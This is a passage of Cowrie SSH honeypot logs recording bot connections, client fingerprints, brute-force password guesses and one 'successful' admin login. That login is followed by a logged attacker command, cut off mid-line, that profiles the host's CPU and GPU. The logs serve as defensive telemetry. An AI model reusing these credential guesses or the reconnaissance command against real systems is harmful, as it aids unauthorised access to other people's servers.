{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"02:c7:4b:9b:42:a5:b4:7b:5f:2b:05:25:9d:d2:64:fe","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCldADz3JGCU3JNKyATci4i3J+53hjGqpSC+hiRg+o4klMU4AVDDOnhq4mZyXvzIYNAUPuwOkig+Ru1iB9VUUE/IOXKV8NeogLvoHqBbMCAbXDcwLlYlijTmKjRBmVZWYb+gP9F36V0vFFWGVZVjopSQvx4zX1lp8/7rPuh07uchIQURAY+0ILCq8iwCLwOeINvCMErqTQC8QJMPUVp/M8McKaDvCQbpDTyymuRKekESwB59Ve5RdFhG1aGo0bIqSbouBUq8gs4AZamWAAHOgUUnqpP6xqj4HBu6j3et5Cs0+40hfjbP7iMPXnqCTQv1OzinFh7AYeS24LT2KxaxzUL","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 02:c7:4b:9b:42:a5:b4:7b:5f:2b:05:25:9d:d2:64:fe","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:41:52.416112Z","src_ip":"62.182.85.212","session":"9bcc9d9256ff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"02:c7:4b:9b:42:a5:b4:7b:5f:2b:05:25:9d:d2:64:fe","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCldADz3JGCU3JNKyATci4i3J+53hjGqpSC+hiRg+o4klMU4AVDDOnhq4mZyXvzIYNAUPuwOkig+Ru1iB9VUUE/IOXKV8NeogLvoHqBbMCAbXDcwLlYlijTmKjRBmVZWYb+gP9F36V0vFFWGVZVjopSQvx4zX1lp8/7rPuh07uchIQURAY+0ILCq8iwCLwOeINvCMErqTQC8QJMPUVp/M8McKaDvCQbpDTyymuRKekESwB59Ve5RdFhG1aGo0bIqSbouBUq8gs4AZamWAAHOgUUnqpP6xqj4HBu6j3et5Cs0+40hfjbP7iMPXnqCTQv1OzinFh7AYeS24LT2KxaxzUL","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:41:52.419720Z","src_ip":"62.182.85.212","session":"9bcc9d9256ff","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"0a:41:d3:2c:3d:cb:3f:d0:8e:b3:e4:cb:43:8a:e6:bd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA8gdJfzPog9YmJO6xIphNn5i7LEAshoQindwmTpqVllLW6VnATGc2F72/YXbQRSxNwLk8ATmz/dZf0r1rg2nlAZbliklIYlkyc1GYiAaZOwGATtflmCeCVGcUKqPxrUtYlAhrFpziorgSxmzIOuamOLtky3EDgzjxy8Ev0od2tpAw2EGjNk/2EaVHeZIvMjJvLOtRyt8ZcLOtA/VvMvbY9cBu3r6g4F8prc5eLQaQGT5q6hszA0NZJQNQCzS+AWcopjqzi++Np0XkJdIsEv3E3DEvaXnT5C3FJjw9A1XLUdv5Ld3cjOPNc7+ow+gFk5bvwu2es5y+xXEQ1enOCy5gEw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 0a:41:d3:2c:3d:cb:3f:d0:8e:b3:e4:cb:43:8a:e6:bd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:41:52.541109Z","src_ip":"62.182.85.212","session":"9bcc9d9256ff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"0a:41:d3:2c:3d:cb:3f:d0:8e:b3:e4:cb:43:8a:e6:bd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA8gdJfzPog9YmJO6xIphNn5i7LEAshoQindwmTpqVllLW6VnATGc2F72/YXbQRSxNwLk8ATmz/dZf0r1rg2nlAZbliklIYlkyc1GYiAaZOwGATtflmCeCVGcUKqPxrUtYlAhrFpziorgSxmzIOuamOLtky3EDgzjxy8Ev0od2tpAw2EGjNk/2EaVHeZIvMjJvLOtRyt8ZcLOtA/VvMvbY9cBu3r6g4F8prc5eLQaQGT5q6hszA0NZJQNQCzS+AWcopjqzi++Np0XkJdIsEv3E3DEvaXnT5C3FJjw9A1XLUdv5Ld3cjOPNc7+ow+gFk5bvwu2es5y+xXEQ1enOCy5gEw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:41:52.544081Z","src_ip":"62.182.85.212","session":"9bcc9d9256ff","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"bd:44:c7:db:bc:e9:f8:eb:06:3a:c8:31:d1:6b:72:33","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDcPy4Mcl+SxbhV+lXtZ+qLW7KrjU21rEsEtOKQJJzfyYaH8Z515IMjM5PjRc4rZl3bLpxZ1wAwmFdgVTsBvm14xKBJ9E7Ni0sJsOPMAJjJVh5Ldl06K737mD2zwbeRzqqRMiVpeu3dvfrGHoa1bk7RCth/ZLTILFwr2LWfLeRc0axysmznu9TvismqK5JmXOPgF023tSOLPbeRCbFFS3dN4s3ZKHl/Ed4suSc6eA2S1awZAGIaFiQgx/mF0xWqjQ7Usi4WE/sjwmjun5sssAva5UbezCg4SGxq18rhKILbZbAUgPCo9jin8PoOUQ29RUdtx0qvUDgTYRQ29+IiQ+nRR7Pz829oZsBlF/2e3KDLvQDK2skyTKaZA+Do6/IwuSzU/fdFxBU8rmUKtRKNUB+w2VlKhzBrCRJ4DH7ZvO21BaDijNIJNpfzu68e8Nw7QNyOkMuZ45gz0M0dsyBhqWBCAFOPe/4VNAACAra7b4eOpmmsywh6MoQvvSBgcDsgkD/qSoYMTrHAfCucb7YJZCVDOz4l1/d4nPnKZZmq306YqA73ruMcLLbeW2LPTAvCCOo8w4RYLYmXK90/IZxG7j2InziL6cI+/mx1jr3pNMwEz0Y6TuFWHZJxnQz59DMAbrJjpaYDn3PWXcqV9ZsQG0IHixXJ/YwZfDa00H0/HvC+8w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint bd:44:c7:db:bc:e9:f8:eb:06:3a:c8:31:d1:6b:72:33","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:41:52.660076Z","src_ip":"62.182.85.212","session":"9bcc9d9256ff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"bd:44:c7:db:bc:e9:f8:eb:06:3a:c8:31:d1:6b:72:33","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDcPy4Mcl+SxbhV+lXtZ+qLW7KrjU21rEsEtOKQJJzfyYaH8Z515IMjM5PjRc4rZl3bLpxZ1wAwmFdgVTsBvm14xKBJ9E7Ni0sJsOPMAJjJVh5Ldl06K737mD2zwbeRzqqRMiVpeu3dvfrGHoa1bk7RCth/ZLTILFwr2LWfLeRc0axysmznu9TvismqK5JmXOPgF023tSOLPbeRCbFFS3dN4s3ZKHl/Ed4suSc6eA2S1awZAGIaFiQgx/mF0xWqjQ7Usi4WE/sjwmjun5sssAva5UbezCg4SGxq18rhKILbZbAUgPCo9jin8PoOUQ29RUdtx0qvUDgTYRQ29+IiQ+nRR7Pz829oZsBlF/2e3KDLvQDK2skyTKaZA+Do6/IwuSzU/fdFxBU8rmUKtRKNUB+w2VlKhzBrCRJ4DH7ZvO21BaDijNIJNpfzu68e8Nw7QNyOkMuZ45gz0M0dsyBhqWBCAFOPe/4VNAACAra7b4eOpmmsywh6MoQvvSBgcDsgkD/qSoYMTrHAfCucb7YJZCVDOz4l1/d4nPnKZZmq306YqA73ruMcLLbeW2LPTAvCCOo8w4RYLYmXK90/IZxG7j2InziL6cI+/mx1jr3pNMwEz0Y6TuFWHZJxnQz59DMAbrJjpaYDn3PWXcqV9ZsQG0IHixXJ/YwZfDa00H0/HvC+8w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:41:52.665606Z","src_ip":"62.182.85.212","session":"9bcc9d9256ff","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a9:83:d1:91:80:9e:82:4e:1f:63:2e:6a:82:3d:96:54","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEArz0EOCQHoMUFH2kgYcCzT4c0SeEMO4UZVjImm74xEcKEl48U+y0vg4FFh0l/pccU2MsPMIEyqM62IglQeyViXhPncFFgxcy283cydDBUPzCNBUVvzx1iC/vhatcZYhFZ65Mkg17wEvXTsfH4y6u6dQ47LbbbqgggAIDpeWuBwx8w0PCgb/lbO47cECsVu1T5WW1dtshv/79t2DCFVZQ5yGB8AWGhvRMdJTQ7l/Zzl2D9E7RIBMslXDqKtIkUtrafixjGm0nmxp4oF4nDmusK2Pmw0IoejZuDVCTpS1pLWU0ZzdJ6EaP9IKXmateCEa8SZCd2+3IqrRFvaYjQm1+7Gw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a9:83:d1:91:80:9e:82:4e:1f:63:2e:6a:82:3d:96:54","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:41:52.783137Z","src_ip":"62.182.85.212","session":"9bcc9d9256ff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a9:83:d1:91:80:9e:82:4e:1f:63:2e:6a:82:3d:96:54","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEArz0EOCQHoMUFH2kgYcCzT4c0SeEMO4UZVjImm74xEcKEl48U+y0vg4FFh0l/pccU2MsPMIEyqM62IglQeyViXhPncFFgxcy283cydDBUPzCNBUVvzx1iC/vhatcZYhFZ65Mkg17wEvXTsfH4y6u6dQ47LbbbqgggAIDpeWuBwx8w0PCgb/lbO47cECsVu1T5WW1dtshv/79t2DCFVZQ5yGB8AWGhvRMdJTQ7l/Zzl2D9E7RIBMslXDqKtIkUtrafixjGm0nmxp4oF4nDmusK2Pmw0IoejZuDVCTpS1pLWU0ZzdJ6EaP9IKXmateCEa8SZCd2+3IqrRFvaYjQm1+7Gw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:41:52.786160Z","src_ip":"62.182.85.212","session":"9bcc9d9256ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:41:52.902929Z","src_ip":"62.182.85.212","session":"9bcc9d9256ff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":54692,"dst_ip":"159.203.135.109","dst_port":22,"session":"553bd1e08543","protocol":"ssh","message":"New connection: 109.237.96.109:54692 (159.203.135.109:22) [session: 553bd1e08543]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:41:56.344360Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:41:56.348505Z","src_ip":"109.237.96.109","session":"553bd1e08543","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:41:56.437447Z","src_ip":"109.237.96.109","session":"553bd1e08543","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"q112233","message":"login attempt [root/q112233] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:41:56.708019Z","src_ip":"109.237.96.109","session":"553bd1e08543","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:41:57.800562Z","src_ip":"109.237.96.109","session":"553bd1e08543","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":49.547879457473755,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:42:28.548710Z","src_ip":"128.199.8.54","session":"b22af860c425","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.248.120.6","src_port":36129,"dst_ip":"10.17.0.5","dst_port":22,"session":"1b00461fe314","protocol":"ssh","message":"New connection: 103.248.120.6:36129 (10.17.0.5:22) [session: 1b00461fe314]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:42:52.333972Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:42:52.341264Z","src_ip":"103.248.120.6","session":"1b00461fe314","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:42:52.563449Z","src_ip":"103.248.120.6","session":"1b00461fe314","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sales1","password":"123456","message":"login attempt [sales1/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:42:53.484669Z","src_ip":"103.248.120.6","session":"1b00461fe314","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:42:55.228385Z","src_ip":"103.248.120.6","session":"1b00461fe314","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"123.58.215.196","src_port":45160,"dst_ip":"10.17.0.5","dst_port":22,"session":"410105c30145","protocol":"ssh","message":"New connection: 123.58.215.196:45160 (10.17.0.5:22) [session: 410105c30145]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:43:09.128099Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:43:09.132624Z","src_ip":"123.58.215.196","session":"410105c30145","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:43:09.358833Z","src_ip":"123.58.215.196","session":"410105c30145","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"joshua","password":"P@ssw0rd","message":"login attempt [joshua/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:43:10.269477Z","src_ip":"123.58.215.196","session":"410105c30145","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:43:11.495004Z","src_ip":"123.58.215.196","session":"410105c30145","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.8","src_port":54276,"dst_ip":"10.17.0.5","dst_port":22,"session":"b7c937b03ccb","protocol":"ssh","message":"New connection: 91.92.40.8:54276 (10.17.0.5:22) [session: b7c937b03ccb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:43:13.508035Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:43:13.975516Z","src_ip":"91.92.40.8","session":"b7c937b03ccb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:43:13.981317Z","src_ip":"91.92.40.8","session":"b7c937b03ccb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":43952,"dst_ip":"159.203.135.109","dst_port":22,"session":"bd713fd0ea9b","protocol":"ssh","message":"New connection: 2.57.122.238:43952 (159.203.135.109:22) [session: bd713fd0ea9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:43:15.961679Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:43:15.965761Z","src_ip":"2.57.122.238","session":"bd713fd0ea9b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:43:16.067636Z","src_ip":"2.57.122.238","session":"bd713fd0ea9b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"validator","password":"validator","message":"login attempt [validator/validator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:43:16.375818Z","src_ip":"2.57.122.238","session":"bd713fd0ea9b","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"Admin@123","message":"login attempt [admin/Admin@123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:43:16.668567Z","src_ip":"91.92.40.8","session":"b7c937b03ccb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:43:17.480067Z","src_ip":"2.57.122.238","session":"bd713fd0ea9b","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:43:17.671982Z","src_ip":"91.92.40.8","session":"b7c937b03ccb","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E \"model name|Hardware\" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,\"\",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 